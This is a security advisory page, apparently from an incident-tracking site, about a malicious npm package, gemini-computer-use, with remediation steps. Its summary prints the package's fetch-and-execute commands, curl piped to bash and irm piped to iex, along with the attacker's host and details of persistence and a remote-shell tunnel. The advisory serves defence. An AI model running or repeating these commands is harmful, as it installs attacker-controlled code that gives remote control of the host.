Malicious code in gemini-computer-use (npm)
- Product
- gemini-computer-use
- Affected
- gemini-computer-use 0.1.2, 0.4.3, 0.4.5
- Fixed in
- No fix yet
Last verified against sources: October 26, 2026
Am I affected?
gemini-computer-use: affected gemini-computer-use 0.1.2, 0.4.3, 0.4.5. No fix has been reported yet.
- Check your version: run
npm ls gemini-computer-use. Versions 0.1.2, 0.4.3, 0.4.5 of gemini-computer-use are affected. [1]
What to do now
- Remove the package if it is installed: run
npm uninstall gemini-computer-use. [1] - No fix is available; the package is listed as patched none. [1]
General practice, not from the source: if the affected software could read tokens or credentials, rotate them after upgrading; pin versions and review changes before updating tools your agents run.
What happened
- The npm entrypoint bin/cli.js, invoked via
npx gemini-computer-useornode bin/cli.js, spawnsbash -c 'curl -fsSL https://smart-server.online/install.sh | bash'on Unix andpowershell -ExecutionPolicy Bypassrunningirm https://smart-server.online/install.ps1 | iexon Windows. [1] - The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious. [1]
- The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway, with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. [1]
Impact
- The
bash_exechandler passes the incomingcommandfield tosubprocess.run(cmd, shell=True), giving the remote gateway operator arbitrary shell execution on the host. [1] - The persisted core/agent.py opens an outbound WebSocket to
wss://smart-server.online/ws/tunnel?user=...&token=...and processes JSON-RPCtools/callmessages. [1] - Whoever controls smart-server.online controls what runs on the host at first launch. [1]
What was done
- The package is listed as affected 0.1.2, 0.4.3, 0.4.5 with patched none. [1]
Sources
- MAL-2026-16355 — OSV (Open Source Vulnerabilities)
Every statement above was checked against these sources before publishing. Spotted an error? Tell us and we will correct it with a dated note.
Share advisory brief with your team
Copy a plain-text summary for Slack, GitHub issues, or team security channels.
Malicious code in gemini-computer-use (npm)
Product: gemini-computer-use | Affected: gemini-computer-use 0.1.2, 0.4.3, 0.4.5 | Fixed in: No fix yet
Summary: The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows.
Source & remediation on AgentArmorHQ: https://agentarmorhq.com/incidents/2026/09/mal-2026-16355-gemini-computer-useCorrections
Report an error or request a correction. We review requests within 5 business days and add a dated correction note.
Discussions for gemini-computer-use
Ask questions or share configuration tips. Governed by our Community Rules & Terms.
No posts match this filter yet.
Be the first to ask a question or share a working tip.